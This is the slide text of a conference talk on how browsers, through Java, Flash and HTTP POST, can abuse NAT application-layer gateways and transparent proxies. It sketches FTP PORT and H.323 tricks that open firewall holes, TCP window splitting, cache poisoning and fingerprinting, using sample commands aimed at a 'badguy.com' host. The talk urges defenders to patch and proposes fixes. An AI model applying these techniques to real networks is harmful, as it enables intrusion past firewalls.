Staring Into The Abyss

Revisiting Browser vs. Middlebox

Attacks In The Era Of Deep Packet
Inspection

Dan Kaminsky
Director of Penetration Testing
IOActive, Inc.

copyright IOActive, Inc. 2006, all rights

reserved.
Introduction
• Hi! I’m Dan.
• Once upon a time, my talks were referred to as
“Black Ops of TCP/IP”
– These were fun talks!
– Lets do more of that!
Context: The Rise of DPI
• Deep Packet Inspection: The attempt to extract endpoint context
from network traffic
– This is always an attempt – only a very small percentage of
what’s going on, hits the wire
– Admittedly, an important percentage 
• DPI is on the verge of a revolution
– Hardware is getting much faster
• Can be deployed at carrier network head ends
– Software is getting much deeper
• Can extract full GMail messages from a series of differential
AJAX updates (Narus)
– Need (well, demand) is increasing
• Legitimate – DDoS mitigation, larger scale firewalling, etc.
Is There Risk?
• There’s always some risk 
– DPI = Complex Parsers In Sensitive Locations
• The DPI rush is happening as infrastructure continues to be our
weakest area of security management
– No automatic update for firewalls and routers
– When DNS got hit, people didn’t even know what DNS servers
they were running
• One of the biggest changes we need to make in security is we need
to start taking infrastructure more seriously
– It’s not just about server security, or even client security
– Own the pipes, own the network
– BreakingPoint and Codenomicon find some really nasty bugs in
Infrastructure – are you patching?
– This talk is intended to encourage you to do so!
The Hard Problem, Getting Harder
• Difficult to extract context from wire
– Newsham/Ptacek’s “Eluding Network Intrusion Detection”
paper from 1998 described the difficulties of designing a
Network Intrusion Detection System against an attacker
who can synthesize complex packets
– My 2005 Black Ops talk discussed evading NIDS by
playing with fragment reassembly timers
– It was hard enough to extract correct context when:
• The evasions were only at Layer 3 (IP) and 4 (TCP)
• Only one side of the communication was under the
control of the attacker
– Browsers change this
Enter The Browser
• Deploying software sucks.
– The browser made this less so
– We’ve basically given up 99% of the capability of a PC, for
the ability to deploy code pretty much instantly and freely
• Browser vulns are being a persistent problem, but
nobody is seriously suggesting whitelisting the web
– Web is too productive 
• Wouldn’t really help to whitelist – ad networks are
everywhere
– What are browser apps optimized for
• Pushing useful pixels on screen
• Sending and retrieve bits over the network
– Plugins extend browser capabilities
• Most significantly: Add support for straight TCP and
possibly UDP sockets
Browser Sockets
• Why? Because HTTP sucks for streaming small messages
bidirectionally
– Polling for updates = Annoying
– Polling for updates with a 512 byte request = Very
Annoying
– Having to send 512 bytes to send 1 byte = Worse Than
DNS Tunneling 
• Support
– Java: TCP+UDP
– Flash: TCP
– Silverlight: TCP on a very small set of ports
Browser Socket Policy
• But what about policy?
– HTTP has lots of policy attached to exactly how
it works
– What prevents all that policy from being
bypassed with socket access?
• By design, you should only be able to create
a socket to the host that provided the applet
• This is actually more restrictive than HTTP --
<img src=http://www.foreignsite.com/foo.jpg
> works
DNS Rebinding and Browser Sockets
• 1996: Undergrads at Princeton realize they can get around
browser socket policy by swapping IP addresses out
underneath a Java applet
– Call this DNS Rebinding
• 1996-2006: We all forget DNS Rebinding exists
• 2006-2007: Martin Johns remembers DNS Rebinding, and
he, Dan Boneh, David Byrne, and I all find uses for it in Java
and Flash
– Effect: We’re able to proxy full TCP and possibly UDP
connectivity to any node reachable by the client
– Fix: Sun and Adobe massively update Java and Flash to
lock down connectivity to policy retrieved for that
particular IP
• Microsoft didn’t have to do anything with Silverlight, it
wasn’t out yet
The Gap
• So, we only have sockets connecting to IP addresses that
are opting into browser communication
– Those IP’s aren’t the only things listening – there are
hosts in the middle too
• “Middleboxes” running some form of DPI
– Their inspection depth and scale is increasing
• What attacks might be possible?
– Lets look at what “Middleboxes” are out there today, to
predict what might be a problem tomorrow
• Start with NATs
NAT Design
• IPv4 space is a limited resource -- many people have only one IP,
but many devices
– NAT, or Network Address Translation, lets those many devices
share a single IP
• This requires tracking each connection, so that any incoming
packets to the shared IP are routed to the correct backend host
– Some protocols are easier to NAT than others
• HTTP is entirely client driven – responses only come back
on flows initiated by the client – this is very easy to track
• Other protocols require sessions initiated from the server to
route back to the client
• Another reason HTTP sucks: Firewall guys think everything
should look like HTTP
– Callbacks are sort of the heart of asynchronous design
Enter the Application Layer Gateway
(ALG)
• To support protocols with callbacks, protocol
activity is monitored to detect situations where a
server is told where to connect back to
– The connect-back address is mangled, i.e.
changed to the external address the server
should link to (and the client doesn’t know
about)
– A listener is registered on the external interface,
that will forward packets back to the internal
host
• The canonical ALG is for Active FTP
Looking at FTP
• Client sends to server on port 21 (FTP Command Channel):
– USER foo
PASS foo
TYPE I
PORT 192,168,0,150,13,61
RETR /foo.txt
• NAT sends to server on port 21:
– USER foo
PASS foo
TYPE I
PORT 64,81,64,164,50,1
RETR /foo.txt
• What this says: TCP traffic sent to 64.81.64.164 on port 12801 (50
* 256 + 1) will be forwarded to 192.168.0.150 on port 3389 (13 *
256 + 61, AKA the RDP port)
Context Gap
• ALG’s can’t differentiate between FTP spoken by a
real FTP client (ftp.exe) and FTP spoken by a
browser running attacker controlled Java/Flash
– Very little context actually makes it on the wire
– this is one of those details that’s missing
• Impact: It’s pretty easy to use a web browser to
open firewall holes, from the Internet, at least to
the host running the browser
• We know this.
– Sort of.
We keep forgetting.
• First seen: Phrack #60 Linenoise, December 2002
• Rediscovered: Florian Weimer, “The Java/Firewall
Vulnerability”, July 2005
• Rediscovered Again: Phrack #65, FelineMenace, April 2008
– Against DCC instead of FTP, but same stuff
• And, yes, I thought I “discovered” this too 
– We missed this during the Java/Flash lockdown
– Thanks for Florian for showing me prior work
– Thanks to Kuza55 for showing me the second Phrack
instance
Wherefore Art Thou Local IP?
• One limitation of the the Phrack #60
attacks – the Java method of retrieving the
Local IP address in it (192.168.0.150)
doesn’t work anymore
– InetAddress.getLocalHost().getHostAddr
ess(); now always returns 127.0.0.1
• Without the correct Local IP, many NATs
won’t actually mangle and set up listeners
Strategies For Recovering Local IP
• 1) Brute Force
– 192.168.0.1-254, 192.168.1.1-254, 10.0.0.1-
254, and 10.0.1.1-254 cover most clients
behind NATs
– Not all, though
• 2) Lorenzo Balci’s http://amibehindnat.com trick
– Socket s = new Socket(“www.badguy.com”,80)
String me = s.getLocalAddress()
– Also seen in FelineMenace’s article
– Requires Java
A Third Method: ftp:// in the browser
• Active FTP leaks the internal IP in its command channel
– Of course it does, that’s what we need to recover
• The browser does Active FTP
– You’d think this wouldn’t matter – if the NAT runs ALG on
Active FTP, that internal IP will be mangled away. And if
it doesn’t run ALG on Active FTP, well then, what’s
interesting about attacking FTP? 
• NAT ALG’s often don’t trigger on TCP sessions on ports
other than 21
– So we create an img in the browser:
• <img src=
ftp://foo@ftp.badguy.com:10000/whatever.txt>
NAT Suppressed
Another Possibility: Playing Games
With TCP
• TCP is stream oriented – bytes can be spread out across
any number of packets
– NAT ALG’s are often packet (or segment) oriented – their
parsers view only one packet at a time
– Receivers can control, pretty effectively, the packetization
that occurs at the sender
• Sort of important if you want the receiver to be able to
implement flow control, i.e. SLOW DOWN PLEASE
• Mikael Olsson, October 2002, “Firewalls that support FTP
without fully reassembling the FTP command channel can
have their rulesets bypassed. Again.”
– His strategy: Partial ACK just enough so that the right
bytes show up in an individual packet
Olsson’s Trick
• Sender transmits (through firewall)
– AAAAAAAAAAPORT 192,168,0,1,200,1
• Receiver ACKnowledges:
– AAAAAAAAAA
• Sender now retransmits:
– PORT 192,168,0,1,200,1
• Ta-da
– This is somewhat limited though
A Better Way
• I think this is novel, but it’s all old stuff so
someone might have gone down this path
• Tightly control the TCP window
– Window describes how many bytes the
sender is allowed to send the receiver
– Window is controlled by the receiver
My Trick
• Sender tries to send (as one blob)
– USER foo
PASS foo
TYPE I
PORT 192,168,0,150,13,61
RETR /foo.txt
• Receiver has a Window Size set to 8.
– Sender transmits USER foo
• Receiver ACKs, Window Size 8
– Sender transmits PASS foo
• Receiver ACKs, Window Size 7
– Sender transmits TYPE I
What To Do About PORT?
• We could ACK “TYPE I” w/ a window of 25, forcing sender
to transmit “PORT 192,168,0,150,13,61”
– But that would trigger the NAT ALG, and we were trying
to bypass it, remember? 
• So instead, lets split that across three segments
– ACK w/ Window of 3, get “POR”
– ACK w/ Window of 5, get “T 192”
– ACK w/ Window of 17, get “,168,0,150,13,61”
• Can also do this in Flash and Java
– Much easier, in fact – no need for a custom TCP stack
– So why introduce this concept?
Who Said We Needed Sockets?
• Browsers have their own HTTP stacks, thank you very much
– A relatively arbitrary collection of bytes can be loaded up
and dropped at an arbitrary HTTP endpoint
• HTTP POST
– Can’t emulate complex conversational protocols…
• Well, unless the endpoint is playing some really
obscure games with their window sizes 
• But there’d be no point in an endpoint playing such
games…
– Unless someone else was listening
– O Hai DPI
POST History
• Jochen Topf, “The HTML Form Protocol Attack”, 2001
– Topf found he could manipulate other protocols from HTTP by
POSTing to their endpoints
– ASCII string parsers are very forgiving regarding their
conversations coming in a huge blob – they’re just looking for
newlines
– No binary protocol support – conversations difficult / impossible
• Sandro Gauci, “The Extended HTML Form Attack Revisited”, 2008
– Yes, this stuff still works, and is really nice for XSS
– Ports that are available are limited – no POSTing to 21
• Browsers disagree on what to block
• Blocking by port is ultimately not scalable – mapping between
application and port is fuzzy
– There are other protocols besides FTP for which there are
ALG’s, and most of their ports are not blocked
Analyzing Other Protocols
• Deployment Level:
– Universal: On pretty much every device
– Common: On most devices, home and enterprise
– Corporate: Generally on corporate devices
– Linux: On Linux-based devices
• Starter Port
– Where does the command channel live, and is it TCP or UDP?
• Controls whether we need Java or not
• Conduit Port
– What does the command channel grant attackers access to?
• (More in paper)
Other Protocol Data
Several Interesting Protocols
• RSH is actually surprisingly widely supported, and allows simple
firewall rule dropping
– Has an extra channel for STDERR
• H.323 is easily the most interesting ALG (definitely the most
complex)
– An RTP stream, to any UDP port on the caller
– An RTCP stream, to any UDP port on the caller
– A T.120 stream, to any TCP port on the caller
– A H.245 stream, to any TCP port on the caller
– A Q.931 stream, to any TCP port on the caller
– A “GCF” stream, to a potentially filtered UDP port
– A “ACF” stream, to a potentially filtered address
– A “LCF” stream, to any TCP port on any address
– A H.225 call forwarding stream, to any TCP port on any
address
Yes, that’s any address
• if (!get_h225_addr(ct, *data, &lcf->callSignalAddress,
• &addr, &port)) // DMK: Get arbitrary IP from
attacker
• return 0;
• /* Need new expect for call signal */
• if ((exp = nf_ct_expect_alloc(ct)) == NULL)
• return -1;
• nf_ct_expect_init(exp,
NF_CT_EXPECT_CLASS_DEFAULT, nf_ct_l3num(ct),
• &ct->tuplehash[!dir].tuple.src.u3, &addr,
• IPPROTO_TCP, NULL, &port); // DMK:
Forward to &addr
• exp->flags = NF_CT_EXPECT_PERMANENT;
And Again, With Comments
• /* Read alternativeAddress */
• if (!get_h225_addr(ct, *data, taddr, &addr, &port) || port == 0)
• return 0;
• /* If the calling party is on the same side of the forward-to party,
• * we don't need to track the second call */
• if (callforward_filter &&
• callforward_do_filter(&addr, &ct->tuplehash[!dir].tuple.src.u3,
• nf_ct_l3num(ct))) {
• pr_debug("nf_ct_q931: Call Forwarding not tracked\n");
• return 0;
• }

• /* Create expect for the second call leg */

• if ((exp = nf_ct_expect_alloc(ct)) == NULL)
• return -1;
• nf_ct_expect_init(exp, NF_CT_EXPECT_CLASS_DEFAULT, nf_ct_l3num(ct),
• &ct->tuplehash[!dir].tuple.src.u3, &addr,
• IPPROTO_TCP, NULL, &port);
• exp->helper = nf_conntrack_helper_q931;
This isn’t a bug
• H.323 is a VoIP protocol. It requires the ability to implement
call forwarding
– Sometimes, it’s going to tell people on the outside that
they should instead send traffic somewhere else
– Sometimes, that somewhere else is going to need a
conduit too
• So, yes, you might have one web browser behind your
firewall open up connectivity to any TCP in your enterprise
– Not even requiring a socket – nobody blocks 1720/TCP
from HTTP POST
To Be Fair, This Isn’t Universal
• Not all firewalls will support call forwarding
• Not all firewalls will enable H.323 support for every
IP
• Not all firewalls will have the H.323 ALG on by
default
• Not all firewalls will allow connectivity to ports
below 1024
– Though the value of this is diminished by NFS,
X11, RDP/TS, all which are >1024
Vaguely Reminiscent
• 2007: We were able to use DNS Rebinding to
proxy from a browser to whatever it can reach,
even behind the firewall
• 2009: We can do this again, by POSTing H.323
messages to a compliant firewall
– Only now, we don’t need to proxy off the
browser (though we do need it to build conduits
for us on demand)
• But we’ve been picking on ALG’s a lot. Aren’t
there other DPI engines out there?
Lets Look At HTTP A Little Closer
• HTTP’s strongest characteristic is that it has somewhat
strong caching semantics
– It is designed to allow a middlebox to intercept queries,
and to know whether to retrieve new content or repeat
the old bytes
• This usually works correctly
– Middleboxes for HTTP are referred to as proxies
– Proxies can be set to operate transparently, meaning
clients don’t know that anything is intercepting their
HTTP requests and deciding whether or not to forward
them to a remote destination
• Generally done with GRE, Cisco WCCP, or MAC
Rewriting
• At this point, they become DPI engines – and they
can miss context too
Transparent Proxies Blinded
• Just as the NAT ALG couldn’t tell the difference between ftp.exe
and a browser socket, a transparent proxy can’t tell the difference
between the browser making an HTTP request with its own stack,
and the browser emitting a HTTP request at the behest of a Java or
Flash object
– The same bytes are on the wire
– It’s even the same process sending those bytes!
• Java and Flash will only send their HTTP request to the attacker,
but the transparent proxy will intercept anyway
– What happens when “6.6.6.6” (transparently hijacked) receives:
GET / HTTP/1.1
Host: www.google.com
• Both Robert Auger from Paypal and I asked this question.
His paper, “Socket Capable Browser Plug-ins Result In
Transparent Proxy Abuse”, is great and you should see it
Two Good Caching Policies
• 1) The proxy sends a request to 6.6.6.6 asking for
http://www.google.com/, and caches the results as “6.6.6.6’s
version of http://www.google.com/” before sending it to the
client
– Secure
– Introduces lots of cache misses for content hosted via
extensive CDN’s
• 2) The proxy does a DNS lookup for www.google.com, gets
IP address 209.85.171.147, retrieves www.google.com from
209.85.171.147, and caches the result as
http://www.google.com/” before sending it to the client
– Sort of secure
– Maximum performance
One Terrifying Cache Policy
• 3) The proxy sends a request to 6.6.6.6 asking for
http://www.google.com/, and caches the results as
“http://www.google.com/” before sending it to the
client
– Allows trivial HTTP cache poisoning!
• In terms of what’s seen in the field, 1 is
occasionally out there, 2 is very common, 3 we
have not seen yet
– Please please let nobody have implemented 3
• What’s the problem with 2?
Same Origin Policy Bypass
• Same Origin Policy
– www.badguy.com should not be able to access
www.google.com’s resources via the browser
• Unfortunately, badguy’s applet can send a request to 6.6.6.6,
requesting Google
– If the proxy does its own DNS lookup, it’ll override the policy
binding an applet to its own IP address, and Google will receive
Badguy’s HTTP request
• This enables click fraud – the request will look exactly like a
real request to Google
– Caveat: The user’s Google cookie won’t be attached
• Click fraud is a +$1B problem
– If the proxy is deployed behind the firewall (somewhat
common), attacker will get access to resources behind the
firewall
Arbitrary TCP
• HTTP Proxies support the CONNECT verb,
usually to allow HTTPS access
– CONNECT transforms the socket into a
raw TCP link
– At least one device allows CONNECT
– Sometimes ports are limited to 443
An Underlying Theme
• At this point, you should have noticed
– There’s a lot that’s consistent from DPI to DPI
– There’s a lot that varies
• Different caches
• Different ALG’s
• Different rules for both
• It’s obvious that anything can be exploited.
– What’s interesting is everything can also be fingerprinted, from
a web browser, provided the DPI is active
• There must be a change, even if it’s just that a session is
killed
• If there’s a change, the changing agent can be detected,
and potentially exploited
– Not saying don’t deploy stuff
– But yeah, you better be ready to test it and patch it!
History Of Firewall Fingerprinting

• There ain’t much

– Few people have been fingerprinting
firewalls by looking for open ports on
them
– I found you could detect PIX via some
quirks in how it handled RST|ACK
packets
– There was my RSA talk last year…
Starting Easy: Fingerprinting HTTP
Proxies
• They’re not exactly subtle
– Two line request for www.doxpara.com accumulates (from
Squid):
• Via: 1.0 deluvian.doxpara.com (squid/3.0.STABLE13)
X-Forwarded-For: 1.2.3.4
Host: www.doxpara.com
Cache-Control: max-age=259200
Connection: keep-alive
– Response also gets:
• X-Cache: MISS from deluvian.doxpara.com
Via: 1.0 deluvian.doxpara.com (squid/3.0.STABLE13)
• This means trivial stats gathering of proxy population is possible
– 17% of web behind Squid
– ~2.7% of web behind Bluecoat
Not That It Matters
• Inline HTTP caches could never hope to be stealthy
– If there are multiple Host headers in a HTTP request, which
one will win?
– What if there’s both the GET http://www.foo.com syntax, and
a Host header?
– Are headers sorted, or re-ordered before delivery to a
server?
– If there are duplicate headers, are any suppressed or merged
together?
– Is any parsing case insensitive?
– Is any parsing whitespace sensitive?
– What happens to cache policy, when contradictory or
inappropriate fields are inserted in the request, or in the
response?
• Can also detect whether data is or isn’t cached – use the socket
to issue the same request twice, see if the backend receives two
requests
Where Things Get Really Interesting
• Amit Klein, Chaim Linhart, Ronen Haled, Steve Orrin, Watchfire
Security: “HTTP Request Smuggling” from 2006
– This paper had interesting attacks before we realized we could
reach them from the browser
• Lots of cache pollution
– Given a request with multiple Content-Length headers, SunOne
Proxy 3.6 will cache based on the second one.
– Checkpoint FW-1 has a well known set of URL filters, which it will
refuse to allow to reach the outside world. For example, it will
block GET /page.asp?cmd.exe HTTP/1.0. By intentionally
GETting this, FW-1 can be detected (or at least ruled out).
– Delegate 8.9.2 will respect a Content-Length in a GET request
(Content-Length usually only shows up in a POST request or an
HTTP response), altering cache semantics.
• Every bug in this paper is trivially remotely fingerprintable and
exploitable from a web browser. Hope you patched in the last three
years...
Fingerprinting ALG’s
• These are a little different
– Much simpler – no cache to interrogate, etc. Really, they’re just
looking for patterns to munge
• Replace spaces with tabs
• Add or remove necessary messages
• Case sensitivity
• Required IP there or not
– Segmentation in the middle of a message can suppress ALG
– Behavior on detecting invalid messages differs
• Can close session [killed]
• Can lock the session (it just dies) [timeout]
• Can pass it unmodified [ignored]
• Can drop the forbidden message
Abyssprint Demo: ALG Fingerprinter
(Netscreen, from Java)
• Normal FTP Transaction, Real IP: NATted [200 PORT
1,2,3,4,234,59]
No-Login FTP Transaction, Real IP: NATted [200 PORT
1,2,3,4,234,61]
Missing TYPE I FTP Transaction, Real IP: NATted [200
PORT 1,2,3,4,234,68]
Normal FTP Transaction, Wrong IP: ignored
No-Login FTP Transaction, Wrong IP: timeout
Normal FTP Transaction, Bad IP: killed
No-Login FTP Transaction, Bad IP: killed
Normal FTP Transaction, Real IP, Pre-Space: timeout
Normal FTP Transaction, Real IP, Post-Space: timeout
Normal FTP Transaction, Real IP, Space to Multispace: killed

Normal FTP Transaction, Real IP, Space to Tab: NATted [200

PORT 1,2,3,4,234,77]
Normal FTP Transaction, Real IP, Lowercase: timeout
Abyssprint Demo: ALG Fingerprinter
(PIX, from Java)
• Normal FTP Transaction, Real IP: NATted [200 PORT
2,3,4,5,100,200]
No-Login FTP Transaction, Real IP: NATted [200 PORT
2,3,4,5,100,200]
Missing TYPE I FTP Transaction, Real IP: timeout
Normal FTP Transaction, Wrong IP: timeout
No-Login FTP Transaction, Wrong IP: ignored
Normal FTP Transaction, Bad IP: timeout
No-Login FTP Transaction, Bad IP: NATted [200 PORT
FOO,100,200]
Normal FTP Transaction, Real IP, Pre-Space: NATted [200 PORT
2,3,4,5,100,201]
Normal FTP Transaction, Real IP, Post-Space: NATted [200 PORT
2,3,4,5,100,202]
Normal FTP Transaction, Real IP, Space to Multispace: timeout
Normal FTP Transaction, Real IP, Space to Tab: NATted [200 PORT

2,3,4,5,100,203]
Normal FTP Transaction, Real IP, Lowercase: timeout
AbyssPrint Demo: Unknown Device
• Normal FTP Transaction, Real IP: NATted [200 PORT
3,4,5,6,39,206]
No-Login FTP Transaction, Real IP: NATted [200 PORT
3,4,5,6,39,208]
Missing TYPE I FTP Transaction, Real IP: NATted [200 PORT
3,4,5,6,39,210]
Normal FTP Transaction, Wrong IP: ignored
No-Login FTP Transaction, Wrong IP: ignored
Normal FTP Transaction, Bad IP: timeout
No-Login FTP Transaction, Bad IP: NATted [200 PORT
FOO,100,200]
Normal FTP Transaction, Real IP, Pre-Space: ignored
Normal FTP Transaction, Real IP, Post-Space: timeout
Normal FTP Transaction, Real IP, Space to Multispace: timeout
Normal FTP Transaction, Real IP, Space to Tab: NATted [200 PORT
3,4,5,6,39,220]
Normal FTP Transaction, Real IP, Lowercase: timeout
AbyssPrint: Easy to see transparent
proxies (just look for extra headers)
• HTTP 1.0 Request For www.doxpara.com (port 80):
Transparent Proxy Detected
…
• Content-Length: 269
• Content-Type: text/html
• X-Cache: MISS from deluvian.doxpara.com
• Via: 1.0 deluvian.doxpara.com (squid/3.0.STABLE13)
• (Client->Server) Via: 1.0 deluvian.doxpara.com
(squid/3.0.STABLE13)
• (Client->Server) X-Forwarded-For: 5.6.7.8
• (Client->Server) Host: www.doxpara.com
• (Client->Server) Cache-Control: max-age=259200
• (Client->Server) Connection: keep-alive
Takeaways[0]
• 1) No really, you need to patch your infrastructure
– Vendors, that means you need to fuzz your
products before you ship them, and
increasingly get ready to ship emergency
patches
– IT Purchasing, buy stuff that won’t leave your
staff holding the bag
– IT Ops, take your existing policies for how
you’d handle a critical patch on a domain
controller, and look at your various inspectors
Takeaways[1]
• Cross-Organizational Risk
– DPI technologies in general are pretty risky to
deploy across organizational boundaries
• At least active ones are
– The simple reality is they always expose more
functionality than you think they are
– Toorcon talk last year from Jason Larsen and I
– two ad networks control the security of every
website for major ISPs? Really?
Fixing Sockets?
• According to firewall vendors, limiting ports isn’t interesting to them
– They’re making all their filters no longer care what port
something is sent on
– Also can’t just pull every socket app out there
• Possible fix: ALG the Policy Retrieval
– There’s a policy retrieve in Flash, that allows sockets to work
– Have the firewall inform the plugin that it’s there, and that all
sockets should use inline policy
• Begin each TCP session with a policy request, have policy
returned with each socket (obviously with no other ALG
allowed on that socket)
• Does require some translation of existing policies
– Biggest challenge: Three different plugins have three different
socket policy engines. Java uses Reverse DNS, Flash and
Silverlight use similar cross-domain.xml files
• This should really be cleaned up
Fixing Proxies
• This is a more tractable problem
– At minimum, keep transparent proxy from being used for internal
resources
• Can be done in the rewriting engine
• Can also be done with Proxy Autoconfiguration Scripts
• Updating cache policy
– Existing policies
• Trust client supplied IP, cache on IP/Host
• Ignore client supplied IP, cache on Host
• Trust client supplied IP, cache on Host
– New policy, from myself, Robert Auger, and Amit Klein
• Trust client supplied IP, return content immediately, cache only
after DNS lookup
– If IP from client shows up in DNS list, allow caching
– Somewhat reduced hitrate, but pretty good (weird CDN
bugs aside)
• Proxy chaining makes this a little tricky
Seriously, home routers
• Don’t accept default passwords after 10
minutes from power cycle!
• Browsers are going to be exposing home
web interfaces for the foreseeable future
Is that it?
• Aw no, one last piece of fun 
– Problem: NAT2NAT
• Two clients, both behind NATs that only allow
outbound connectivity, have trouble communicating
with one another
– Common Solution: UDP
• Pretty easy to broker connectivity over UDP – flinging
packets at eachother with the appropriate ports tends
to allow connectivity
– Sometimes NATs make this really easy and don’t
care what IP address is flinging the packets
• Every game does this
• Problem: No TCP reliability / flow control stack
– Oh well, we’ll just write our own!
O HAI CONGESTION COLLAPSE
• NOOOOOOOOOOOOOOOOOOOOOO
OOOOOOOOOOOOOOOOOOOOOOO
OOOOOOOOOOOOOOOOOOOOOOO
OOOOOOOOOOOOOOOOOOOOOOO
OOOOOOOOOOOOOOOOOOOOOOO
OOOOOOOOOOOOOOOOOOOOOOO
OOOOOOOOOOOOOOOOOOOOOOO
OOOOOOOOOOOOOOOOOOOOOOO
Can We Get TCP NAT2NAT?
• The common way: UPNP
– ~50% of home routers, 0% of corporate
routers
• The hideous way
– My 2001 Black Ops talk – terrible tricks
with TTLs
• The new way!
– FTP ALG!
An Idea
• Idea: Set up a command channel to a broker – not with a
browser, but with an actual application
• Tell the broker to connect back with a PORT command
• The broker tells your peer to connect to the named PORT
• This does not usually work. The peer has a different IP
address and most NATs are actually smart enough to
notice 
– There are other protocols not so restricted, but FTP is
universal
– Obviously, we can’t do a FTP command channel to our
peer; if we could, we’d just route our data over that TCP
session!
– But what if we did connect to our peer…and a broker
impersonated him accepting our traffic?
An Idea, Restored: What If The NAT2NAT
Broker Impersonated ACKs for a FTP
Command Channel?
• 1) Alice sends a SYN to Bob on Port 21. Bob
ignores – firewalled! Alice tells the Broker port and
seq# information.
• 2) Broker spoofs the correct SYN|ACK to Alice as
Bob. Alice’s NAT accepts – port and seq#
matches!
• 3) Alice sends each message of a FTP command
channel. Broker spoofs ACKs for each command.
Once Alice passes PORT and RETR, a firewall
hole is open.
• 4) Broker tells Bob to connect to the open port.
• 5) Bob connects – WIN!
Implementation Details for The Blind
FTP NAT2NAT Broker
• 1) If firewalls change the SEQ#’s, we’re hosed – client
doesn’t know what SEQ# the Broker should ACK
• 2) Need to figure out which port the firewall will assign for the
external FTP listener
– Could be anything
• 3) Depends on the foreign firewall not sending RST|ACKs
– No problem, this is common 
• 4) Only requires a sniffer on Alice, and nothing special on
Bob
– Just need the SEQ#
• Otherwise, this should work!
Conclusions
• Networking is fun
• Patch your infrastructure
– It shouldn’t be this fun
• Be really careful what you deploy where
• There’s lots of old stuff that didn’t actually
get fixed
– Sometimes didn’t == couldn’t